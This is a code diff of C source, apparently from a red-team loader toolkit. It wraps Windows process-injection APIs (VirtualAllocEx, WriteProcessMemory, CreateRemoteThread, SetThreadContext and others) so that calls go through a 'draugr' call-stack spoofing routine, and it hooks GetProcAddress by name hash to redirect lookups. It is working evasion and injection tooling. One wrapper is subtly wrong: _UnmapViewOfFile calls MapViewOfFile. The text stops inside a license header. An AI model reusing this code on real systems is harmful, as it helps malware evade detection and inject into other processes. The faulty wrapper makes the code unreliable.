|
||||
{
|
||||
@@ -335,17 +47,17 @@ LPVOID WINAPI _VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationT
|
||||
dprintf(" -> flProtect : %d\n", flProtect);
|
||||
#endif
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(VirtualAlloc);
|
||||
call.argc = 4;
|
||||
call.args[0] = (ULONG_PTR)(lpAddress);
|
||||
call.function = (PVOID)(VirtualAlloc);
|
||||
call.argc = 4;
|
||||
call.args[0] = (ULONG_PTR)(lpAddress);
|
||||
call.args[1] = (ULONG_PTR)(dwSize);
|
||||
call.args[2] = (ULONG_PTR)(flAllocationType);
|
||||
call.args[3] = (ULONG_PTR)(flProtect);
|
||||
|
||||
return (LPVOID)draugr(&call);
|
||||
return (LPVOID)draugr(&call);
|
||||
}
|
||||
|
||||
LPVOID WINAPI _VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
|
||||
@@ -359,18 +71,18 @@ LPVOID WINAPI _VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize,
|
||||
dprintf(" -> flProtect : %d\n", flProtect);
|
||||
#endif
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(VirtualAllocEx);
|
||||
call.argc = 5;
|
||||
call.args[0] = (ULONG_PTR)(hProcess);
|
||||
call.function = (PVOID)(VirtualAllocEx);
|
||||
call.argc = 5;
|
||||
call.args[0] = (ULONG_PTR)(hProcess);
|
||||
call.args[1] = (ULONG_PTR)(lpAddress);
|
||||
call.args[2] = (ULONG_PTR)(dwSize);
|
||||
call.args[3] = (ULONG_PTR)(flAllocationType);
|
||||
call.args[4] = (ULONG_PTR)(flProtect);
|
||||
|
||||
return (LPVOID)draugr(&call);
|
||||
return (LPVOID)draugr(&call);
|
||||
}
|
||||
|
||||
BOOL WINAPI _VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect)
|
||||
@@ -383,17 +95,17 @@ BOOL WINAPI _VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect,
|
||||
dprintf(" -> lpflOldProtect : 0x%lp\n", lpflOldProtect);
|
||||
#endif
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(VirtualProtect);
|
||||
call.argc = 4;
|
||||
call.args[0] = (ULONG_PTR)(lpAddress);
|
||||
call.function = (PVOID)(VirtualProtect);
|
||||
call.argc = 4;
|
||||
call.args[0] = (ULONG_PTR)(lpAddress);
|
||||
call.args[1] = (ULONG_PTR)(dwSize);
|
||||
call.args[2] = (ULONG_PTR)(flNewProtect);
|
||||
call.args[3] = (ULONG_PTR)(lpflOldProtect);
|
||||
|
||||
return (BOOL)draugr(&call);
|
||||
return (BOOL)draugr(&call);
|
||||
}
|
||||
|
||||
BOOL WINAPI _VirtualProtectEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect)
|
||||
@@ -407,18 +119,18 @@ BOOL WINAPI _VirtualProtectEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize,
|
||||
dprintf(" -> lpflOldProtect : 0x%lp\n", lpflOldProtect);
|
||||
#endif
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(VirtualProtectEx);
|
||||
call.argc = 5;
|
||||
call.function = (PVOID)(VirtualProtectEx);
|
||||
call.argc = 5;
|
||||
call.args[0] = (ULONG_PTR)(hProcess);
|
||||
call.args[1] = (ULONG_PTR)(lpAddress);
|
||||
call.args[1] = (ULONG_PTR)(lpAddress);
|
||||
call.args[2] = (ULONG_PTR)(dwSize);
|
||||
call.args[3] = (ULONG_PTR)(flNewProtect);
|
||||
call.args[4] = (ULONG_PTR)(lpflOldProtect);
|
||||
|
||||
return (BOOL)draugr(&call);
|
||||
return (BOOL)draugr(&call);
|
||||
}
|
||||
|
||||
BOOL WINAPI _VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType)
|
||||
@@ -430,16 +142,16 @@ BOOL WINAPI _VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType)
|
||||
dprintf(" -> dwFreeType : %d\n", dwFreeType);
|
||||
#endif
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(VirtualFree);
|
||||
call.argc = 3;
|
||||
call.function = (PVOID)(VirtualFree);
|
||||
call.argc = 3;
|
||||
call.args[0] = (ULONG_PTR)(lpAddress);
|
||||
call.args[1] = (ULONG_PTR)(dwSize);
|
||||
call.args[1] = (ULONG_PTR)(dwSize);
|
||||
call.args[2] = (ULONG_PTR)(dwFreeType);
|
||||
|
||||
return (BOOL)draugr(&call);
|
||||
return (BOOL)draugr(&call);
|
||||
}
|
||||
|
||||
BOOL WINAPI _GetThreadContext(HANDLE hThread, LPCONTEXT lpContext)
|
||||
@@ -450,15 +162,15 @@ BOOL WINAPI _GetThreadContext(HANDLE hThread, LPCONTEXT lpContext)
|
||||
dprintf(" -> lpContext : 0x%lp\n", lpContext);
|
||||
#endif
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(GetThreadContext);
|
||||
call.argc = 2;
|
||||
call.function = (PVOID)(GetThreadContext);
|
||||
call.argc = 2;
|
||||
call.args[0] = (ULONG_PTR)(hThread);
|
||||
call.args[1] = (ULONG_PTR)(lpContext);
|
||||
call.args[1] = (ULONG_PTR)(lpContext);
|
||||
|
||||
return (BOOL)draugr(&call);
|
||||
return (BOOL)draugr(&call);
|
||||
}
|
||||
|
||||
BOOL WINAPI _SetThreadContext(HANDLE hThread, const CONTEXT *lpContext)
|
||||
@@ -469,15 +181,15 @@ BOOL WINAPI _SetThreadContext(HANDLE hThread, const CONTEXT *lpContext)
|
||||
dprintf(" -> lpContext : 0x%lp\n", lpContext);
|
||||
#endif
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(SetThreadContext);
|
||||
call.argc = 2;
|
||||
call.function = (PVOID)(SetThreadContext);
|
||||
call.argc = 2;
|
||||
call.args[0] = (ULONG_PTR)(hThread);
|
||||
call.args[1] = (ULONG_PTR)(lpContext);
|
||||
call.args[1] = (ULONG_PTR)(lpContext);
|
||||
|
||||
return (BOOL)draugr(&call);
|
||||
return (BOOL)draugr(&call);
|
||||
}
|
||||
|
||||
DWORD WINAPI _ResumeThread(HANDLE hThread)
|
||||
@@ -487,14 +199,14 @@ DWORD WINAPI _ResumeThread(HANDLE hThread)
|
||||
dprintf(" -> hThread : 0x%lp\n", hThread);
|
||||
#endif
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(ResumeThread);
|
||||
call.argc = 1;
|
||||
call.args[0] = (ULONG_PTR)(hThread);
|
||||
call.function = (PVOID)(ResumeThread);
|
||||
call.argc = 1;
|
||||
call.args[0] = (ULONG_PTR)(hThread);
|
||||
|
||||
return (DWORD)draugr(&call);
|
||||
return (DWORD)draugr(&call);
|
||||
}
|
||||
|
||||
HANDLE WINAPI _CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId)
|
||||
@@ -509,19 +221,19 @@ HANDLE WINAPI _CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwS
|
||||
dprintf(" -> lpThreadId : 0x%lp\n", lpThreadId);
|
||||
#endif
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(CreateThread);
|
||||
call.argc = 6;
|
||||
call.args[0] = (ULONG_PTR)(lpThreadAttributes);
|
||||
call.function = (PVOID)(CreateThread);
|
||||
call.argc = 6;
|
||||
call.args[0] = (ULONG_PTR)(lpThreadAttributes);
|
||||
call.args[1] = (ULONG_PTR)(dwStackSize);
|
||||
call.args[2] = (ULONG_PTR)(lpStartAddress);
|
||||
call.args[3] = (ULONG_PTR)(lpParameter);
|
||||
call.args[4] = (ULONG_PTR)(dwCreationFlags);
|
||||
call.args[5] = (ULONG_PTR)(lpThreadId);
|
||||
|
||||
return (HANDLE)draugr(&call);
|
||||
return (HANDLE)draugr(&call);
|
||||
}
|
||||
|
||||
HANDLE WINAPI _CreateRemoteThread(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId)
|
||||
@@ -537,12 +249,12 @@ HANDLE WINAPI _CreateRemoteThread(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThrea
|
||||
dprintf(" -> lpThreadId : 0x%lp\n", lpThreadId);
|
||||
#endif
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(CreateRemoteThread);
|
||||
call.argc = 7;
|
||||
call.args[0] = (ULONG_PTR)(hProcess);
|
||||
call.function = (PVOID)(CreateRemoteThread);
|
||||
call.argc = 7;
|
||||
call.args[0] = (ULONG_PTR)(hProcess);
|
||||
call.args[1] = (ULONG_PTR)(lpThreadAttributes);
|
||||
call.args[2] = (ULONG_PTR)(dwStackSize);
|
||||
call.args[3] = (ULONG_PTR)(lpStartAddress);
|
||||
@@ -550,7 +262,7 @@ HANDLE WINAPI _CreateRemoteThread(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThrea
|
||||
call.args[5] = (ULONG_PTR)(dwCreationFlags);
|
||||
call.args[6] = (ULONG_PTR)(lpThreadId);
|
||||
|
||||
return (HANDLE)draugr(&call);
|
||||
return (HANDLE)draugr(&call);
|
||||
}
|
||||
|
||||
HANDLE WINAPI _OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId)
|
||||
@@ -562,16 +274,16 @@ HANDLE WINAPI _OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwP
|
||||
dprintf(" -> dwProcessId : %d\n", dwProcessId);
|
||||
#endif
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(OpenProcess);
|
||||
call.argc = 3;
|
||||
call.args[0] = (ULONG_PTR)(dwDesiredAccess);
|
||||
call.function = (PVOID)(OpenProcess);
|
||||
call.argc = 3;
|
||||
call.args[0] = (ULONG_PTR)(dwDesiredAccess);
|
||||
call.args[1] = (ULONG_PTR)(bInheritHandle);
|
||||
call.args[2] = (ULONG_PTR)(dwProcessId);
|
||||
|
||||
return (HANDLE)draugr(&call);
|
||||
return (HANDLE)draugr(&call);
|
||||
}
|
||||
|
||||
HANDLE WINAPI _OpenThread(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId)
|
||||
@@ -583,16 +295,16 @@ HANDLE WINAPI _OpenThread(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwTh
|
||||
dprintf(" -> dwThreadId : %d\n", dwThreadId);
|
||||
#endif
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(OpenThread);
|
||||
call.argc = 3;
|
||||
call.args[0] = (ULONG_PTR)(dwDesiredAccess);
|
||||
call.function = (PVOID)(OpenThread);
|
||||
call.argc = 3;
|
||||
call.args[0] = (ULONG_PTR)(dwDesiredAccess);
|
||||
call.args[1] = (ULONG_PTR)(bInheritHandle);
|
||||
call.args[2] = (ULONG_PTR)(dwThreadId);
|
||||
|
||||
return (HANDLE)draugr(&call);
|
||||
return (HANDLE)draugr(&call);
|
||||
}
|
||||
|
||||
BOOL WINAPI _CloseHandle(HANDLE hObject)
|
||||
@@ -602,14 +314,14 @@ BOOL WINAPI _CloseHandle(HANDLE hObject)
|
||||
dprintf(" -> hObject : 0x%lp\n", hObject);
|
||||
#endif
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(CloseHandle);
|
||||
call.argc = 1;
|
||||
call.args[0] = (ULONG_PTR)(hObject);
|
||||
call.function = (PVOID)(CloseHandle);
|
||||
call.argc = 1;
|
||||
call.args[0] = (ULONG_PTR)(hObject);
|
||||
|
||||
return (BOOL)draugr(&call);
|
||||
return (BOOL)draugr(&call);
|
||||
}
|
||||
|
||||
HANDLE WINAPI _CreateFileMappingA(HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCSTR lpName)
|
||||
@@ -624,19 +336,19 @@ HANDLE WINAPI _CreateFileMappingA(HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMapp
|
||||
dprintf(" -> lpName : %s\n", lpName);
|
||||
#endif
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(CreateFileMappingA);
|
||||
call.argc = 6;
|
||||
call.args[0] = (ULONG_PTR)(hFile);
|
||||
call.function = (PVOID)(CreateFileMappingA);
|
||||
call.argc = 6;
|
||||
call.args[0] = (ULONG_PTR)(hFile);
|
||||
call.args[1] = (ULONG_PTR)(lpFileMappingAttributes);
|
||||
call.args[2] = (ULONG_PTR)(flProtect);
|
||||
call.args[3] = (ULONG_PTR)(dwMaximumSizeHigh);
|
||||
call.args[4] = (ULONG_PTR)(dwMaximumSizeLow);
|
||||
call.args[5] = (ULONG_PTR)(lpName);
|
||||
|
||||
return (HANDLE)draugr(&call);
|
||||
return (HANDLE)draugr(&call);
|
||||
}
|
||||
|
||||
LPVOID WINAPI _MapViewOfFile(HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap)
|
||||
@@ -650,18 +362,18 @@ LPVOID WINAPI _MapViewOfFile(HANDLE hFileMappingObject, DWORD dwDesiredAccess, D
|
||||
dprintf(" -> dwNumberOfBytesToMap : %d\n", dwNumberOfBytesToMap);
|
||||
#endif
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(MapViewOfFile);
|
||||
call.argc = 5;
|
||||
call.args[0] = (ULONG_PTR)(hFileMappingObject);
|
||||
call.function = (PVOID)(MapViewOfFile);
|
||||
call.argc = 5;
|
||||
call.args[0] = (ULONG_PTR)(hFileMappingObject);
|
||||
call.args[1] = (ULONG_PTR)(dwDesiredAccess);
|
||||
call.args[2] = (ULONG_PTR)(dwFileOffsetHigh);
|
||||
call.args[3] = (ULONG_PTR)(dwFileOffsetLow);
|
||||
call.args[4] = (ULONG_PTR)(dwNumberOfBytesToMap);
|
||||
|
||||
return (LPVOID)draugr(&call);
|
||||
return (LPVOID)draugr(&call);
|
||||
}
|
||||
|
||||
BOOL WINAPI _UnmapViewOfFile(LPCVOID lpBaseAddress)
|
||||
@@ -671,14 +383,14 @@ BOOL WINAPI _UnmapViewOfFile(LPCVOID lpBaseAddress)
|
||||
dprintf(" -> lpBaseAddress : 0x%lp\n", lpBaseAddress);
|
||||
#endif
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(MapViewOfFile);
|
||||
call.argc = 1;
|
||||
call.args[0] = (ULONG_PTR)(lpBaseAddress);
|
||||
call.function = (PVOID)(MapViewOfFile);
|
||||
call.argc = 1;
|
||||
call.args[0] = (ULONG_PTR)(lpBaseAddress);
|
||||
|
||||
return (BOOL)draugr(&call);
|
||||
return (BOOL)draugr(&call);
|
||||
}
|
||||
|
||||
SIZE_T WINAPI _VirtualQuery(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength)
|
||||
@@ -690,16 +402,16 @@ SIZE_T WINAPI _VirtualQuery(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffe
|
||||
dprintf(" -> dwLength : %d\n", dwLength);
|
||||
#endif
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(VirtualQuery);
|
||||
call.argc = 3;
|
||||
call.args[0] = (ULONG_PTR)(lpAddress);
|
||||
call.function = (PVOID)(VirtualQuery);
|
||||
call.argc = 3;
|
||||
call.args[0] = (ULONG_PTR)(lpAddress);
|
||||
call.args[1] = (ULONG_PTR)(lpBuffer);
|
||||
call.args[2] = (ULONG_PTR)(dwLength);
|
||||
|
||||
return (SIZE_T)draugr(&call);
|
||||
return (SIZE_T)draugr(&call);
|
||||
}
|
||||
|
||||
BOOL WINAPI _DuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions)
|
||||
@@ -715,12 +427,12 @@ BOOL WINAPI _DuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle,
|
||||
dprintf(" -> dwOptions : %d\n", dwOptions);
|
||||
#endif
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(DuplicateHandle);
|
||||
call.argc = 7;
|
||||
call.args[0] = (ULONG_PTR)(hSourceProcessHandle);
|
||||
call.function = (PVOID)(DuplicateHandle);
|
||||
call.argc = 7;
|
||||
call.args[0] = (ULONG_PTR)(hSourceProcessHandle);
|
||||
call.args[1] = (ULONG_PTR)(hSourceHandle);
|
||||
call.args[2] = (ULONG_PTR)(hTargetProcessHandle);
|
||||
call.args[3] = (ULONG_PTR)(lpTargetHandle);
|
||||
@@ -728,7 +440,7 @@ BOOL WINAPI _DuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle,
|
||||
call.args[5] = (ULONG_PTR)(bInheritHandle);
|
||||
call.args[6] = (ULONG_PTR)(dwOptions);
|
||||
|
||||
return (BOOL)draugr(&call);
|
||||
return (BOOL)draugr(&call);
|
||||
}
|
||||
|
||||
BOOL WINAPI _ReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesRead)
|
||||
@@ -742,18 +454,18 @@ BOOL WINAPI _ReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lp
|
||||
dprintf(" -> lpNumberOfBytesRead : 0x%lp\n", lpNumberOfBytesRead);
|
||||
#endif
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(ReadProcessMemory);
|
||||
call.argc = 5;
|
||||
call.args[0] = (ULONG_PTR)(hProcess);
|
||||
call.function = (PVOID)(ReadProcessMemory);
|
||||
call.argc = 5;
|
||||
call.args[0] = (ULONG_PTR)(hProcess);
|
||||
call.args[1] = (ULONG_PTR)(lpBaseAddress);
|
||||
call.args[2] = (ULONG_PTR)(lpBuffer);
|
||||
call.args[3] = (ULONG_PTR)(nSize);
|
||||
call.args[4] = (ULONG_PTR)(lpNumberOfBytesRead);
|
||||
|
||||
return (BOOL)draugr(&call);
|
||||
return (BOOL)draugr(&call);
|
||||
}
|
||||
|
||||
BOOL WINAPI _WriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesWritten)
|
||||
@@ -767,18 +479,18 @@ BOOL WINAPI _WriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID l
|
||||
dprintf(" -> lpNumberOfBytesWritten : 0x%lp\n", lpNumberOfBytesWritten);
|
||||
#endif
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(WriteProcessMemory);
|
||||
call.argc = 5;
|
||||
call.args[0] = (ULONG_PTR)(hProcess);
|
||||
call.function = (PVOID)(WriteProcessMemory);
|
||||
call.argc = 5;
|
||||
call.args[0] = (ULONG_PTR)(hProcess);
|
||||
call.args[1] = (ULONG_PTR)(lpBaseAddress);
|
||||
call.args[2] = (ULONG_PTR)(lpBuffer);
|
||||
call.args[3] = (ULONG_PTR)(nSize);
|
||||
call.args[4] = (ULONG_PTR)(lpNumberOfBytesWritten);
|
||||
|
||||
return (BOOL)draugr(&call);
|
||||
return (BOOL)draugr(&call);
|
||||
}
|
||||
|
||||
DECLSPEC_NORETURN VOID WINAPI _ExitThread(DWORD dwExitCode)
|
||||
@@ -788,14 +500,14 @@ DECLSPEC_NORETURN VOID WINAPI _ExitThread(DWORD dwExitCode)
|
||||
dprintf(" -> dwExitCode : %d\n", dwExitCode);
|
||||
#endif
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(g_ExitThread);
|
||||
call.argc = 1;
|
||||
call.args[0] = (ULONG_PTR)(dwExitCode);
|
||||
call.function = (PVOID)(g_ExitThread);
|
||||
call.argc = 1;
|
||||
call.args[0] = (ULONG_PTR)(dwExitCode);
|
||||
|
||||
draugr(&call);
|
||||
draugr(&call);
|
||||
}
|
||||
|
||||
BOOL WINAPI _CreateProcessA(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation)
|
||||
@@ -815,11 +527,11 @@ BOOL WINAPI _CreateProcessA(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSEC
|
||||
#endif
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(CreateProcessA);
|
||||
call.argc = 10;
|
||||
call.args[0] = (ULONG_PTR)(lpApplicationName);
|
||||
call.function = (PVOID)(CreateProcessA);
|
||||
call.argc = 10;
|
||||
call.args[0] = (ULONG_PTR)(lpApplicationName);
|
||||
call.args[1] = (ULONG_PTR)(lpCommandLine);
|
||||
call.args[2] = (ULONG_PTR)(lpProcessAttributes);
|
||||
call.args[3] = (ULONG_PTR)(lpThreadAttributes);
|
||||
@@ -830,7 +542,7 @@ BOOL WINAPI _CreateProcessA(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSEC
|
||||
call.args[8] = (ULONG_PTR)(lpStartupInfo);
|
||||
call.args[9] = (ULONG_PTR)(lpProcessInformation);
|
||||
|
||||
return (BOOL)draugr(&call);
|
||||
return (BOOL)draugr(&call);
|
||||
}
|
||||
|
||||
VOID WINAPI _Sleep(DWORD dwMilliseconds)
|
||||
@@ -846,31 +558,31 @@ VOID WINAPI _Sleep(DWORD dwMilliseconds)
|
||||
return;
|
||||
}
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(Sleep);
|
||||
call.argc = 1;
|
||||
call.args[0] = (ULONG_PTR)(dwMilliseconds);
|
||||
call.function = (PVOID)(Sleep);
|
||||
call.argc = 1;
|
||||
call.args[0] = (ULONG_PTR)(dwMilliseconds);
|
||||
|
||||
draugr(&call);
|
||||
draugr(&call);
|
||||
}
|
||||
|
||||
HMODULE WINAPI _LoadLibraryA(LPCSTR lpLibFileName)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(LoadLibraryA);
|
||||
call.argc = 1;
|
||||
call.args[0] = (ULONG_PTR)(lpLibFileName);
|
||||
call.function = (PVOID)(LoadLibraryA);
|
||||
call.argc = 1;
|
||||
call.args[0] = (ULONG_PTR)(lpLibFileName);
|
||||
|
||||
return (HMODULE)draugr(&call);
|
||||
return (HMODULE)draugr(&call);
|
||||
}
|
||||
|
||||
char * WINAPI _GetProcAddress(HMODULE hModule, LPCSTR lpProcName)
|
||||
{
|
||||
char * result = (char *)GetProcAddress(hModule, lpProcName);
|
||||
char * result = (char *)GetProcAddress(hModule, lpProcName);
|
||||
|
||||
/*
|
||||
* Check to see what function is being resolved.
|
||||
@@ -887,9 +599,9 @@ char * WINAPI _GetProcAddress(HMODULE hModule, LPCSTR lpProcName)
|
||||
/* Calculte function hash */
|
||||
DWORD h = hash((char *)lpProcName);
|
||||
|
||||
if (h == GETPROCADDRESS_HASH) {
|
||||
return (char *)_GetProcAddress;
|
||||
}
|
||||
if (h == GETPROCADDRESS_HASH) {
|
||||
return (char *)_GetProcAddress;
|
||||
}
|
||||
else if (h == LOADLIBRARYA_HASH) {
|
||||
return (char *)_LoadLibraryA;
|
||||
}
|
||||
@@ -969,12 +681,12 @@ char * WINAPI _GetProcAddress(HMODULE hModule, LPCSTR lpProcName)
|
||||
|
||||
void go(IMPORTFUNCS * funcs, MEMORY_LAYOUT * layout)
|
||||
{
|
||||
funcs->LoadLibraryA = (__typeof__(LoadLibraryA) *)_LoadLibraryA;
|
||||
funcs->GetProcAddress = (__typeof__(GetProcAddress) *)_GetProcAddress;
|
||||
funcs->LoadLibraryA = (__typeof__(LoadLibraryA) *)_LoadLibraryA;
|
||||
funcs->GetProcAddress = (__typeof__(GetProcAddress) *)_GetProcAddress;
|
||||
|
||||
if (layout != NULL) {
|
||||
g_layout = *layout;
|
||||
}
|
||||
|
||||
init_frame_info();
|
||||
initFrameInfo();
|
||||
}
|
||||
|
||||
@@ -0,0 +1,397 @@
|
||||
/*
|
||||
* Copyright 2025 Daniel Duggan, Zero-Point Security
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without modification, are
|
||||
* permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this list of
|
||||
* conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
* conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
* with the distribution.
|
||||
*
|
||||
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
|
||||
* endorse or promote products derived from this software without specific prior written
|
||||
* permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
|
